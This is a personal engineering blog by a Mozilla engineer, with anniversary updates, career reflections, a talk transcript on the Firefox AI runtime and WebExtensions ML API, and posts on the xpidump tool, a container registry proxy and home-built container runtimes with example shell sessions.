William Durand

Moziversary #8

2026-05-01T00:00:00+00:00

Today is my eighth Moziversary 🎂 I joined Mozilla as a full-time employee on May 1st, 2018. I previously blogged in ~~2019~~, 2020, 2021, 2022, 2023, 2024, and 2025.

You might have come across this built-in data consent thing for extensions in Firefox. I spent a good chunk of last year working on this project, from developing a technical proposal to implementing the feature in Gecko, Firefox for desktop and Firefox for Android.

Talking about Android, I became the module owner for Fenix::Add-ons, a module for all the code related to add-ons in Firefox for Android (which we call “Fenix” internally). Between the creation of this new module, and an ever-solidifying collaboration between the Add-ons and Android teams, the support for extensions in Firefox for Android has a bright future! Having started my Android journey in 2023, this feels like a noteworthy achievement.

Near the end of last year, I moved back to being a full-time AMO engineer to support a team that was down to two engineers. I redesigned the detail page, and started some refactoring on our security scanners, which I had originally created back in 2019 😬

In other news, I joined the AI/LLM/vibe-coding crowd thanks to my colleague Paul, and it took me about a month to get brain-fried… AI fatigue is real, indeed. That said, Claude code has been somewhat useful to me, and I don’t hate it, but I also don’t love it.

Thank you to everyone in the Add-ons team as well as to all the folks I had the pleasure to work with so far. Cheers!

My process for pitching projects as an engineer

2025-12-30T00:00:00+00:00

This winter break has finally given me the mental space I needed, so I wrote another work-related article this month¹, yay! This time, I’ll focus on my personal process for pitching projects as an engineer.

Ever had a great idea at work but struggled to get it on the roadmap? As an engineer in an environment where product work is primarily driven by product managers, I’ve learned how to turn ideas into team priorities. The good thing is: there is no need to be a lead engineer for that!

From idea to proposal

Every project starts with an idea aimed at solving a specific problem². Focusing on small, self-contained problems is much easier than tackling something that spans the entire product or system. Addressing larger problems becomes easier with experience and practice.

I mainly do some research and talk to people. Sometimes, as an engineer who enjoys coding, I might also do some initial “hacking” to explore the idea and uncover potential issues. Though not strictly necessary, I find this helpful for uncovering technical blockers (I also love making cool demos 🙈).

The goal of this phase is to move the idea from a vague notion to a solid, credible solution for a well-defined problem. From experience, neglecting this step often leads to a half-baked proposal that lacks clarity and fails to gain traction.

Gaining initial buy-in

My strategy for socializing and building support for an idea usually involves three groups: my peers, my Product Manager (PM), and my manager. I typically move from peers up to my manager, adjusting my approach based on the feedback I receive along the way. This iterative feedback process is essential to me. It stress-tests the idea and maximizes my chances of success, even if the initial concept requires significant revision.

I aim to convince one or two peers. The burden of proof is entirely on me to sell the idea, which is why the previous step is so important. When the idea moves to the broader team or to the PM, having a peer vouch for its value shifts the dynamic from one person’s suggestion to a team-vetted proposal.

Once I have peer buy-in, I start a conversation with the PM. Product Managers are focused on business value, not engineering details. They usually need answers to the following questions:

What is the value added?
Why should this be prioritized now?
What is the estimated time to production?

I’ve found that a concise document³ outlining the final state and answering these specific questions works best for engaging the PM. This is convenient because it’s the same format I use when approaching my peers, so I usually keep the same living document.

Securing manager approval

Once I have my peers and product manager on board, I approach my manager to discuss planning. In collaboration with the PM, my manager ultimately owns the team’s roadmap.

This isn’t the first time my manager hears about the idea, though. I maintain a proactive communication strategy, ensuring I give them a heads-up about developing ideas and significant technical explorations early. This prevents my manager from being caught off guard or, worse, hearing about a developing initiative secondhand from other stakeholders. It also allows them to provide early, high-level strategic guidance that might steer the proposal in a more productive direction before significant effort is invested.

The aim is to engage them at the right time: early for awareness and strategic input, and formally when a well-supported, high-quality proposal is ready for definitive planning and commitment.

Final thoughts

This is my approach to increase the chances of a project to make it onto our roadmap. Do note that this approach won’t always succeed. Ideas are sometimes rejected, and that’s okay.

With that said, I’d encourage interested folks to come up with what works for them, but that’s probably a safe start. If you’re one of them, remember that likely no one will care more than you do, so don’t drop the ball!

The previous article covered some challenges as a tech lead. ↩
A few concrete examples in no particular order: porting a feature to a different platform, sunsetting a service, building an in-house feature to replace a third-party application. ↩
Such a document is often referred to as a “1-pager” even if its length can exceed a single page. ↩

You can lead a horse to water but you can't force it to drink

2025-12-24T00:00:00+00:00

It’s an unpleasant pattern, one I’m deeply aware of: the tendency to use my regular 1:1s with my manager as an outlet for pent-up frustration. While I strive for constructive dialogue, the reality is that the various challenges my team has faced over the past 3 years have created a reservoir of exasperation that sometimes spills over. It doesn’t happen every time but I wouldn’t exclude it happened more often than I am willing to concede…

One particularly vivid discussion centered on the acute challenge of driving a project forward when the contributors appeared distracted, pulled in too many directions, or simply disengaged. I don’t remember the specifics but, as a tech lead, this is a recurring problem. I possess all the technical vision and planning responsibility, but none of the formal “authority” of a manager. I am tasked with orchestration, but lack the levers of performance reviews or task assignment to enforce focus.

My manager, having listened patiently to my description of the sheer effort required to maintain momentum, made the following comment:

You can lead a horse to water but you can’t force it to drink.

At the time, my sole obsession was the completion of the project. This singular focus blinded me to a set of important leadership principles, which this saying kinda illuminated.

First, there is a stark division between what I can control and what I cannot. Since I am not a manager, I cannot mandate what tasks my teammates prioritize, and I cannot force them to allocate their time optimally either. These are management functions that reside elsewhere.

However, recognizing this limitation is liberating, as it directs my energy toward my spheres of influence. I can absolutely control the clarity of the project’s priority. I can ensure that every relevant stakeholder understands why this work is a top-priority initiative. Furthermore, and critically, I can control the environment for execution. I can be the first to identify and remove blockers, to clarify ambiguities, and to ensure no one is “stuck” awaiting a decision or a piece of information. My role shifts from pushing people to clearing the path for them.

The second insight is about the nature of my intervention. I can generate far greater impact by adopting a posture of “enablement” and opportunity creation rather than rescue or takeover. It’s tempting, in the face of (likely) perceived slowness, to simply get things done myself. This provides immediate, but shallow, relief. The deeper, more structural impact comes from always creating new opportunities.

This approach requires a profound acceptance of risk, though. It means accepting that an opportunity provided might be fumbled, that a delegated task might not be executed perfectly, or that a teammate might initially choose the wrong path. If I take over every difficult or risky task, I rob my colleagues of the opportunity to grow, to demonstrate ownership, and to ultimately drink the water on their own terms.

And that’s why I find this saying pretty good and relevant. As a tech lead, I am responsible for the water. I must ensure the goal is clear, the path is accessible, the resources are available, and the environment is conducive to success. I must exhaust every possible avenue to supercharge my teammates through inspiration, clear communication, and strategic support.

But I am not, and cannot be, responsible for the drinking part. If, after all my efforts, a team member consistently chooses a path of disengagement, lack of focus, or resistance to the collective goal, that crosses the boundary of my direct control. At that point, the issue moves into a different domain. It becomes an issue for their own manager to address or for the individual themselves.

Accepting this boundary helps me preserve my energy for where it can truly effect change.

Moziversary #7

2025-05-05T00:00:00+00:00

A few days ago, this was my seventh Moziversary 🎂 I joined Mozilla as a full-time employee on May 1st, 2018. I previously blogged in ~~2019~~, 2020, 2021, 2022, 2023, and 2024.

While I may not have the energy to reflect extensively on the past year right now, I can say with confidence that the last 12 months have been incredibly productive, and things are generally going well for me.

Seven years later, I am still part of the Add-ons team. As a senior staff engineer, I am no longer working full time on the WebExtensions team. Instead, I am spending my time on anything related to Add-ons within Mozilla (be it Firefox, AMO, etc.).

My team went through a lot of changes over the last few years¹, with some years more memorable than others. About a year ago, things started to head into the right direction, and I am rather hopeful. It’s going to take some time, but the team is really set up for success again!

Shout-out to all my amazing colleagues at Mozilla, I wouldn’t be where I am today without y’all ❤️

Let’s talk briefly about the elephant. Mozilla has changed a lot too but I don’t have much control over that so I tend to not think too much about it 🤷 ↩

Firefox AI & WebExtensions

2025-03-24T00:00:00+00:00

I gave an introduction to the Firefox AI runtime and WebExtensions at a French local conference this month. This article is a loose transcript of what I said.

Let’s talk about Firefox, AI, and WebExtensions.

Browser extensions

Browser extensions are tiny applications that modify and/or add features to a web browser. Nowadays, these small programs can be written in such a way that they should be compatible with different browsers.

That’s because there exists a cross-browser system called “WebExtensions”, which – among other things – provides a set of common APIs that browser extensions can use. In addition to that, browsers can also expose their own APIs, and we’ll see that in a moment.

You’ll find a lot more information on this MDN page.

Note: During my talk, I used the Borderify extension to walk the audience through an example of a web extension. I then concluded that it’s super easy to get started but also very powerful. Extensions like uBlock Origin, Dark Reader, 1Password, etc. are rather powerful and sophisticated features.

Firefox AI runtime

Firefox has a new component based on Transformers.js and the ONNX runtime to perform local inference directly in the browser. In short, this runtime allows to use a model from Hugging Face (like GitHub but for Machine Learning models) directly in Firefox¹, without the need to send data to any servers. Every operation is performed on the user’s machine once the model files have been downloaded by Firefox.

While every website could technically load Transformers.js and a model, this isn’t very efficient. Say two websites use the same model, you end up with two copies of the model files. And those aren’t exactly small.

This Firefox component – also known as the Firefox (AI) runtime – addresses this problem by ensuring that models are shared. In addition, this runtime takes care of managing resources, and model inference is isolated from the rest of Firefox in an inference process.

Note: During my talk, I mentioned that – while we call this “AI” now – Mozilla has been doing Machine Learning (ML) for a very long time². For instance, Firefox Translations isn’t exactly new, and whether you like it or not, this is clearly an application of Generative AI³. Same thing, still.

Anyway, let’s see how we can interact with this runtime. We’re going to generate text that describes an image in the rest of this section.

The “hacker’s approach” is probably to open a Browser console in Nightly, and run some privileged JavaScript code:

const { createEngine } = ChromeUtils.importESModule(
  "chrome://global/content/ml/EngineProcess.sys.mjs"
);

const options = {
  taskName: "image-to-text",
  modelHub: "mozilla",
};
const engine = await createEngine(options);

const [res] = await engine.run({
  args: ["https://williamdurand.fr/images/posts/2014/12/brussels.jpg"],
});
// res => { generated_text: "A large poster of a man on a wall." }

As mentioned previously, the Firefox runtime is based on Transformers.js, which is why the code looks familiar when you know Transformers already. For instance, instead of passing an actual model here, we pass a task name. That’s an abstraction coming from Transformers. Don’t worry, we can also pass a model name and a lot of other (pipeline) options!

For those looking for a more graphical approach to play with this AI runtime, Firefox Nightly provides an about:inference page that looks like this:

That’s cool but… Why? Well, it turns out this example isn’t a random example. This code snippet is an overly simplified version of a feature in Firefox’s PDF reader (PDF.js ❤️): alt text generation⁴.

Screenshot of an “Edit alt text” dialog in PDF.js (inside Firefox): the image description has been automatically generated.

Note: During my talk, someone asked a question about the use of GPU, for which I didn’t have the answer. I do have it now, though. The Firefox AI runtime runs on CPU by default, but it is possible to run on GPU via WebGPU. It’s worth mentioning that this runtime doesn’t feel as fast as a more “native” solution (like Ollama) yet but the team at Mozilla is working on it!

Anyhow, let’s move to the final part of this ~~talk~~ article.

WebExtensions ML API

The best of both worlds, yay!

We shipped an experimental WebExtensions API to allow extensions to do local inference (docs), leveraging the Firefox AI runtime under the hood. Expect things to evolve, it’s bleeding edge technology!

At the time of writing this, we can rewrite the example from the previous section into “extension code” as follows:

const options = {
  taskName: "image-to-text",
  modelHub: "mozilla",
};
await browser.trial.ml.createEngine(options);

const [res] = await browser.trial.ml.runEngine({
  args: ["https://williamdurand.fr/images/posts/2014/12/brussels.jpg"],
});
// res => { generated_text: "A large poster of a man on a wall." }

This looks similar, right? That’s on purpose. For extension developers, the WebExtensions API namespace is trial.ml, and the associated permission is named trialML, which extensions must request at runtime.

What can we do with that, though? Well, what if we were to provide the alt-text-generation feature not just in PDFs but for any image on any website?

That’s what we have done in a demo extension (code, docs), which we can see in action in the screencast below:

At 00:00, the demo extension has been loaded in Firefox Nightly.
At 00:02, we open the context menu on an image in the current web page, and we click on “Generate Alt Text”. This menu entry has been added by the extension using the menus API by the way.
At 00:05, we can see that Firefox is downloading the model files (the UI is provided by the extension, which receives events from Firefox). This means the model was not used before so the Firefox AI runtime has to download the model files first. This step is only necessary when Firefox doesn’t already have the model used by the extension.
At 00:09, the model inference starts.
At 00:12, the result of the inference, which is the description of the image in this case, is returned to the extension, and the extension shows it to the user.

Your browser doesn't support HTML video.

Previously, I mentioned that browser extensions can be cross-browser. They can also run on different platforms as well. In Bug 1954362, I updated this demo extension so that it can run on Firefox for Android 😎

The screencast below shows the same extension running in Firefox for Android:

At 00:00, we can see a dialog because the extension has just been installed.
At 00:01, the extension opened a page in a new tab to request permission to interact with the Firefox AI runtime. This is pretty standard for browser extensions to request permissions ahead of time.
At 00:06, we load a web page with an image.
At 00:10, we use long-press on the image to trigger the extension because the menus API is not supported on Android yet (Bug 1595822).
At 00:12, similar to the previous screencast, Firefox starts by downloading the model files. This takes a lot of time because my emulator isn’t exactly fast. Do remember that this is only needed once, though.
At 01:09, the model inference starts.
At 01:12, the result of the inference, which is – again – the description of the image, is returned to the extension, and the extension shows it to the user.

Your browser doesn't support HTML video.

And that’s basically it.

I am personally looking forward to see what extension developers could do with this new capability in Firefox! And since this is related to my work at Mozilla, feel free to get in touch if you have questions.

Mozilla has its own “hub” too, so it isn’t just from Hugging Face. ↩
I wrote a bit about my use of ML at work in 2019 in this article. ↩
Firefox Translations generates text so this can be considered Generative AI. A major difference is that this doesn’t rely on a Large Language Model (LLM). Instead, Translations uses (Marian) Neural Machine Translation (NMT) models and the Bergamot runtime. ↩
My colleague Tarek wrote an extensive Hacks article about this in 2024. ↩

Senior Staff.

2025-03-01T00:00:00+00:00

I remember a conversation I had with a colleague a while back, shortly after I joined, where they told me that promotions at Mozilla were almost inevitable—that if you just stuck around long enough, you’d get promoted eventually¹.

It certainly didn’t feel like that to me.

I’ve been working at Mozilla for about 7 years and I was last promoted in 2021. I joined the WebExtensions team in 2022 to work on Manifest Version 3, and then I led the engineering efforts to offer full add-ons support for Firefox for Android in 2023. I became the tech lead for Add-ons in 2024.

This month, I’ve been promoted to Senior Staff Software Engineer! 🥳

But, what is a Senior Staff? Mozilla says it is an individual “recognized as one of a small set of renowned experts in an important area”, who is able to “lead projects requiring implementation across multiple teams”.

I’m grateful to my manager and coworkers for their support and guidance over the years. I’ve been able to achieve so much more than I thought possible thanks to them! ❤️

Coincidentally, and years later, another colleague told me this person had actually worked hard to get where they were, and it wasn’t just a matter of showing up and waiting for a promotion to happen 🙃 ↩

Moziversary #6

2024-05-01T00:00:00+00:00

Today is my sixth Moziversary 🎂 I joined Mozilla as a full-time employee on May 1st, 2018. I previously blogged in ~~2019~~, 2020, 2021, 2022, and 2023.

Last year, I mainly contributed to Firefox for Android as the lead engineer on a project called “Add-ons General Availability (GA)”. The goal was to allow for more add-ons on this platform. Success! More than a thousand extensions are now available on Android 🎉

In addition, I worked on a Firefox feature called Quarantined Domains and implemented a new abuse report form on addons.mozilla.org (AMO) to comply with the Digital Services Act (DSA). I was also involved in two other cross-team efforts related to the Firefox installation funnel. I investigated various issues (e.g. this openSUSE bug), and I coordinated the deprecation of weak add-on signatures and some more changes around certificates lately, which is why I wrote xpidump.

Phew! There is no shortage of work.

When I moved to the WebExtensions team in 2022, I wrote about this incredible challenge. I echoed this sentiment several months later in my 2022 Moziversary update. I couldn’t imagine how much I would achieve in two years…

Back then, I didn’t know what the next step in my career would be. I have been aiming to bridge the gap between the AMO and WebExtensions engineering teams since at least 2021 and that is my “next step”.

I recently took a new role as Add-ons Tech Lead. This is the continuation of what I’ve been doing for some time but that comes with new challenges and opportunities as well. We’ll see how it goes but I am excited!

I’ll be forever grateful to my manager and coworkers. Thank you ❤️

Introducing xpidump

2024-04-08T00:00:00+00:00

I wrote xpidump to give a human-readable summary of some information about a Firefox add-on. It is designed to answer these two questions: is the add-on likely¹ signed? And if so, how?

This tool takes an XPI file as input. XPI files are Firefox add-ons packaged as ZIP archives with the .xpi file extension. xpidump currently extracts information from up to 4 files in an XPI (depending on what is available in the archive):

manifest.json: this JSON file defines the add-on. It is required in any add-on (packaged or not, signed or not).
META-INF/mozilla.rsa: this binary file is a PKCS#7 signature. Any signed add-on should have this file (in addition to META-INF/mozilla.sf and META-INF/manifest.mf but xpidump doesn’t read them).
META-INF/cose.sig: this binary file is a COSE signature². It might not be present when the add-on isn’t signed or relatively old³. There should also be a META-INF/cose.manifest file when this file exists.
mozilla-recommendation.json: this JSON file is generated by Mozilla’s signing service Autograph when an add-on is signed with recommendation states. This is how Firefox knows that an add-on is recommended for instance. It might or might not be present.

xpidump is both a command-line tool and a web app since the latter is usually more convenient (no need to install anything). It’s written in Rust, and compiled to WebAssembly for the web app. You can try it at: williamdurand.fr/xpidump/.

xpidump is available in the browser thanks to WebAssembly!

The code is published on GitHub under the MIT license, see: willdurand/xpidump. I don’t have any more plans for this weekend-ish project, it’s doing what I wanted it to be doing… Let me know if you have ideas, though.

One more thing while we’re here… If you want a tool to read the entire content of any XPI file and get tons of information, you want to use CRX Viewer created by my brilliant colleague Rob!

This tool doesn’t verify the signature, so it cannot guarantee that the add-on is correctly signed. ↩
Well, a COSE sign message with a signature and serialized with CBOR, though we should probably refer to the protocol as COSEish because of this issue. ↩
Mozilla started to dual-sign add-ons in 2019. ↩

Moziversary #5

2023-05-01T00:00:00+00:00

Today is my fifth¹ Moziversary 🎂 I joined Mozilla as a full-time employee on May 1st, 2018. I previously blogged in ~~2019,~~ 2020, 2021, and 2022.

I spent a good chunk of last year working on Manifest Version 3 (MV3) with the rest of my team (WebExtensions / Add-ons team). My most notable “H1 2022” contributions were probably the scripting namespace and a simpler versioning format.

The extensions button and its panel (with 3 extensions listed) in Firefox.

Next, I worked on a new primary User Interface (UI) for Firefox Desktop: the extensions button. This feature wasn’t unanimously well-received² ³ (like many other changes to the Firefox UI). Anyway, I addressed different (usability) issues since then, and I will continue to do so!

I also…

took over more web-ext maintenance (in addition to addons-linter)
contributed content to support.mozilla.org (SUMO)
added WebMIDI support to navigator.permissions.query()
wrote my first Web platform test. Pretty cool!
committed to new repositories such as scriptworker-scripts, xpi-template, MDN, browser-compat-data, and firefox-android lately
found myself involved in various incidents…
stopped hating Jira

But wait, there is more!

When I was on the AMO team, we had to maintain a feature named “Return to AMO” (RTAMO). In short, this feature allows new users interested in an add-on on addons.mozilla.org (AMO) to download Firefox and install the add-on when Firefox starts for the first time (without having to go back to AMO). RTAMO was extended to more add-ons at the beginning of 2022 (and I was involved). I became very knowledgeable about how attribution worked and documented all of that.

This is one of the reasons why I became the main owner⁴ of the stub attribution service, an HTTP server that encodes attribution data in Firefox (for Windows) installers and – incidentally – one of the few critical services involved when users download Firefox. Coincidentally, this project is now at the center of different 2023 projects. Good thing I took the time to put this project back on track 😛

Phew. That was a good year! I am now involved in many cross-functional projects and I really enjoy it. Speaking of which, I am currently working on bringing more add-ons to Firefox for Android 🚀

That’s all for now. Many thanks to everyone I worked with over the last 12 months, it’s been great working with all of you!

5 years or… 5 months? I moved back to France and my current employment contract started on January 1st, heh. Still better than nothing, though. ↩
In case you didn’t know, many engineers read Reddit and/or other social platforms. I’ve shared actionable feedback from public comments internally more than once. That said, writing that the extensions button is the “worst Mozilla idea of the decade” isn’t helpful. ↩
If I may, I would add that reaching out to me personally to say that you hate the button is probably not OK. ↩
I am (still) trying to build a small team around this project and another one. If you want to join the fun, please let me know! ↩

GitHub Container Registry, Proxy and Synology

2023-03-18T00:00:00+00:00

Last week, I migrated a private application from Heroku to my Synology NAS (compatible with Docker). Thanks to GitHub Actions, every time the main branch of the project is updated, a new private “Docker image” is built and pushed to the GitHub Container Registry.

On the NAS, one may think that running this private (“dockerized”) application is just a matter of logging in to the GitHub Container Registry, pulling the image and creating a container. Correct, this works from the command line (over SSH).

Having said that, Synology DiskStation Manager (DSM) – the Operating System powering my NAS – offers a user interface (UI) to manage Docker images, containers, networks and registries. I tried to use this UI to add the GitHub Registry but it failed to load the list of images 😓

“Registry returned bad results” said DSM, sigh.

I don’t quite like when obvious things don’t work… Synology’s docs say both v1 and v2 registries are supported and the GitHub Container Registry supports Docker. Shortly after, I realized that the GitHub Container Registry didn’t fully implement the Docker Registry HTTP API.

Fortunately, I know a thing or two about containers, registries, etc. so I wrote a Container Registry Proxy to fix GitHub’s container registry for my use case¹. This proxy exposes two new API endpoints specified by the HTTP API v2 specification and it uses the GitHub REST API to retrieve the necessary data. All the other calls are transparently forwarded to the upstream GitHub registry.

This proxy only requires a GitHub token with the read:packages permission. It is written in Go and distributed as a lightweight Docker image published on the Docker Hub. Installing this proxy on a Synology NAS should therefore be straightforward since the Docker Hub registry is configured by default.

There are two caveats with this overall approach, though. First, the proxy registry should ideally be a local registry because Docker allows (insecure) local registries by default. Second, the DSM UI has some weird input validation rules that prevent http://127.0.0.1:10000 to be accepted as a “valid URL”. That is unfortunate because this address is our local registry… We must edit a configuration file directly on the NAS using SSH (more information about that on GitHub).

Once configured properly, this proxy works reasonably well.

The list of (Docker) registries in DSM. Both the Docker Hub and the local registry are configured. The local registry – named “GitHub Registry (Proxied)” – is in use.

The list of (Docker) images in DSM. The first image comes from the GitHub Registry via the local proxy registry. The other two are from the Docker Hub. The third/last image is the Container Registry Proxy introduced above.

I am not sure what the future of this small project is going to be since it does what I want already. Maybe some other known registries have similar issues? Or would there be any value in having that kind of proxy for other purposes, e.g., statistics, monitoring, etc.?

Important: this works for me™ but that doesn’t mean all edge cases are handled. This might explain why GitHub isn’t fully compatible with the HTTP API v2 specification yet. I don’t know. ↩

Containers and micro virtual machines

2022-07-11T00:00:00+00:00

I wrote an article about my deep dive into containers last month. As part of this learning journey, I built a prototype named Yaman, an extremely limited yet functional container manager.

In today’s article, I introduce a new sub-project named microvm. It’s an experimental container runtime that uses short-lived Virtual Machines (VMs).

This isn’t forward-thinking, I developed this new prototype for learning purposes. Kata Containers, krunvm and crun (with the help of libkrun and libkrunfw) are production-grade technologies to run containers inside VMs for better isolation.

Exploratory work

Similar to how others have been running Docker containers inside QEMU VMs, I started by tinkering with QEMU’s microvm machine. I compiled a custom Linux kernel for it and wrote my own init¹ program. The latter is needed to mimic what a traditional container runtime does when creating a container from a bundle².

The biggest unknown at the time was the root file system, which resided on the host but had to be used within the VM. Creating a disk image (e.g. qcow2) didn’t sound too great: it’s overly complicated and slow. Instead, I used virtiofsd, a daemon running on the host that can share a folder with a guest (VM) using virtio-fs.

For the Linux kernel, I created a minimal configuration with make allnoconfig and make menuconfig to enable some options. I spent a lot of time on this part because I wanted to understand what I was configuring. I recompiled the kernel about 200 times according to the kernel’s make output 😅

Most kernel messages could be hidden with the kernel’s quiet option except when the machine rebooted. I really wanted to hide all messages unrelated to the (container) process running in the VM so I did what most people would have done in this situation: I patched the kernel.

Last but not least, I wrote a simple init program to mount some directories (similar to what I did in Yacr) and read some environment variables in order to (1) set the hostname and (2) execute the container process. About the latter, the kernel doesn’t expect the special init process to be terminated, which necessarily happens when the container process has finished its execution. I patched the kernel to reboot instead 🙈

The init program reads environment variables because the Linux kernel passes unknown kernel parameters to it³. This is super convenient because QEMU lets us configure the kernel’s command line using the -append option. This is how the container process (defined in the container configuration) is passed to the VM for instance.

At this point, I could start a VM using my own kernel and get an interactive shell 🎉

(host) $ make run BUNDLE=/tmp/alpine-bundle CID=alpine-ctr
/ # uname -a
Linux alpine-ctr 5.15.47-willdurand-microvm #1 SMP Fri Jul 9 19:08:45 UTC 2022 x86_64 Linux
/ # hostname
alpine-ctr
/ # ls
bin    etc    lib    mnt    proc   run    srv    tmp    var
dev    home   media  opt    root   sbin   sys    usr
/ #

The custom kernel, the init program and the QEMU/virtiofsd configs seemed to work fine. Phew! This was just QEMU running in my terminal, though.

Obviously, I couldn’t stop there…

The MicroVM runtime

I moved the few commands I had in a Makefile to a new Go CLI application named microvm, which partially implements the OCI runtime specification. This highly experimental container runtime is fully integrated with my own container manager.

Let’s consider the following example, which prints a short weather report using two containers:

$ echo 'wttr.in' \
  | sudo yaman c run --rm --interactive docker.io/library/bash -- xargs wget -qO /dev/stdout \
  | sudo yaman c run --interactive --runtime microvm quay.io/aptible/alpine -- head -n 7
Weather report: Brussels, Belgium

     \  /       Partly cloudy
   _ /"".-.     17 °C
     \_(   ).   ↘ 24 km/h
     /(___(__)  10 km
                0.0 mm

From a user perspective, the fact that the second container has been created with a virtual machine is an implementation detail, and that’s what I wanted to achieve with this work.

Under the hood, the following steps are performed:

A first interactive container is created with the default runtime (Yacr). This container uses the official Bash Docker image. It reads the value wttr.in from stdin (that’s why it has to be interactive) and executes wget -qO /dev/stdout wttr.in (which behaves like curl wttr.in but curl wasn’t installed in the Docker image).
The output of the first container is redirected to the second container. The first container exits and gets automatically removed because --rm was specified.
The second container is also interactive but it uses the microvm runtime and an Alpine image from Quay.io. When the microvm runtime is invoked to create the container, it creates a virtual machine using QEMU and spawns a virtiofsd process to share the root filesystem with this VM.
In the VM, the init process executes head -n 7, which returns the first 7 lines of data received on stdin. The result is printed on the host’s standard output (stdout) and the second container exits.

The --rm option was not specified when we ran the second container, meaning we can still retrieve it by listing all the containers. With the container ID, we can fetch the logs and inspect the container (until we delete it):

$ sudo yaman c ls -a
CONTAINER ID                       IMAGE                           COMMAND     CREATED          STATUS                      PORTS
26127b728da94fd7a184549f2c0f586c   quay.io/aptible/alpine:latest   head -n 7   15 seconds ago   Exited (0) 12 seconds ago

$ sudo yaman c logs 26127b728da94fd7a184549f2c0f586c
Weather report: Brussels, Belgium

     \  /       Partly cloudy
   _ /"".-.     +22(24) °C
     \_(   ).   ↓ 7 km/h
     /(___(__)  10 km
                0.0 mm

$ sudo yaman c inspect 26127b728da94fd7a184549f2c0f586c | jq '.Shim.Runtime'
"microvm"

Of course the example above was using Yaman but we could also reproduce the same example⁴ with our good ol’ Docker friend 😉

$ echo 'wttr.in' \
  | docker run --interactive bash xargs wget -qO /dev/stdout \
  | docker run --runtime=microvm --interactive alpine head -n 7
Unable to find image 'bash:latest' locally
Unable to find image 'alpine:latest' locally
Digest: sha256:686d8c9dfa6f3ccfc8230bc3178d23f84eeaf7e457f36f271ab1acc53015037c
Status: Downloaded newer image for alpine:latest
Digest: sha256:b3abe4255706618c550e8db5ec0875328333a14dbf663e6f1e2b6875f45521e5
Status: Downloaded newer image for bash:latest
Weather report: Freiburg im Breisgau, Germany

      \   /     Sunny
       .-.      15 °C
    ― (   ) ―   ↙ 4 km/h
       `-’      10 km
      /   \     0.0 mm

$ docker ps -a
CONTAINER ID   IMAGE     COMMAND       CREATED             STATUS                          PORTS     NAMES
5976d2c7fe86   alpine    "head -n 7"   About a minute ago  Exited (0) About a minute ago             jolly_shannon

$ docker inspect 5976d2c7fe86 | jq '.[0].HostConfig.Runtime'
"microvm"

Now, what if we want to spawn an interactive shell? Well, that’s possible too!

Unfortunately, this terminal mode does not fully work with Docker (yet) 😞

It turns out that handling IOs isn’t trivial, especially when a virtual machine is involved. The microvm runtime uses some tricks to redirect IOs correctly (e.g. it spawns a special process and uses named pipes on the QEMU side) but the terminal mode is handled differently⁵.

In terms of limitations, the virtual machines created by the microvm runtime don’t have any network access at the moment. In fact, the kernel is built without its network stack. This is probably something I’ll add in the future.

As for the next steps, I’d like to play with KVM, which none of my “Linux environments” give me access to at the moment. I suppose that would be better performance-wise although I haven’t considered performances at all (good thing it’s an educational project, hehe).

Overall, I am pretty happy with the results and I learned a few things. It was especially fun to play with the Linux kernel again!

init(1) is the very first userspace program executed by the Linux kernel when it has finished its initialization. ↩
A container bundle (or “OCI bundle”) is a folder that contains all the information needed to run containers. It is usually derived from an “image” (like a “Docker image”). A bundle must contain a config.json file and the container’s root filesystem (which is a folder usually named rootfs). ↩
Only unknown kernel parameters that do not contain . are passed to init. Those with = are passed as environment variables, the others are passed as arguments (argv). ↩
It is possible to fully reproduce the example with these scripts. ↩
The terminal mode works fine with Yaman and I only noticed the problem with Docker when I wrote this blog post, sigh. ↩

Deep dive into containers

2022-06-21T00:00:00+00:00

It (almost) all started with this talk from Liz Rice that I found in my Pocket list. I spent some time on a Sunday afternoon to write the same code and decided to study more in-depth. I wanted to better understand what was behind containers and how the different technologies interacted with each other.

That was a month ago or so and things got out of control pretty quickly 😅 Given there are many talks and articles about containers already, this article is more of a “Show and Tell” in which I describe what I’ve poked around.

Yacr: Yet another container runtime

At this level, there is no concept of images, registries, volumes, etc. An Open Container Initiative (OCI)-compliant runtime takes an identifier and a “bundle” as input. A bundle is a folder that contains a config.json file and a root filesystem (“rootfs”).

I started by updating the code I had initially written to build a minimal (and insecure¹) runtime named Yacr. I learned a lot of low-level information and I was super happy when Docker was able to use my very own runtime. Yacr works with containerd, too!

As for the implementation, I followed the runtime spec, which is a rather high-level description of a runtime and not really a specification per se. In fact, the runtime I wrote had to be “runc-compliant” in order to be used by other tools (runc is the reference implementation of the runtime spec).

I then looked into container shims.

Yacs: Yet another container shim

When a runtime starts a container, it often uses exec(3) to replace itself with the actual container process. This is a problem because (1) standard input/output are no longer (easily) available, and (2) it is difficult to know when the process exits and why.

While it might be possible to poll /proc to solve (2), that wouldn’t solve (1). We could make the runtime a long-running process but that does not seem ideal either. The concept of container shims has been introduced to solve these two problems (and more) in an elegant manner.

Shims sit between a container manager and a container runtime. In principle, a shim invokes an OCI runtime to create/start containers. In addition, shims solve the two problems stated above by:

becoming a subreaper, which allows them to reap (adopt) any child processes created by their own child processes (e.g. the runtime). This, in turns, allows shims to be notified when child processes exit
keeping open the container’s input/output. For instance, my implementation creates FIFOs (named pipes) so that it is possible to interact with the container process at any time

The prototype I implemented is named Yacs and it uses the Yacr runtime by default. Yacs should work with any OCI runtime but I only tried with yacr and runc.

Example

Yacs provides an HTTP API via a unix socket because that was easy to implement. In the example below, we create a new container with yacs, which will invoke the runtime (yacr) to create the container.

As per the runtime spec, the container is only created, not started yet, which is why we see the yacr create container process under the yacs process in the ps output. The yacr process waits for the “start” command.

$ yacs --bundle=/tmp/alpine-bundle --container-id=alpine
/home/gitpod/.run/yacs/alpine/shim.sock

$ ps auxf
USER    PID    COMMAND
[...]
gitpod  44458  yacs --bundle=/tmp/alpine-bundle --container-id=alpine
gitpod  44488   \_ yacr --log-format json --log /home/gitpod/.run/yacs/alpine/yacr.log create container alpine --root /home/gitpod/.run/yacr --bundle /tmp/alpine-bundle

When we ask the shim to start the container using the HTTP API, it invokes the runtime again to start the container. At this point, the container process (sh /hello-loop.sh in this example) should be running under the yacs (subreaper) process (see ps output below).

$ curl -X POST -d 'cmd=start' --unix-socket /home/gitpod/.run/yacs/alpine/shim.sock http://shim/
{
  "id": "alpine",
  "runtime": "yacr",
  "state": {
    "ociVersion": "1.0.2",
    "id": "alpine",
    "status": "running",
    "pid": 44488,
    "bundle": "/tmp/alpine-bundle"
  },
  "status": {}
}

$ ps auxf
USER    PID    COMMAND
[...]
gitpod  44458  yacs --bundle=/tmp/alpine-bundle --container-id=alpine
gitpod  44488   \_ sh /hello-loop.sh
gitpod  55758       \_ sleep 1

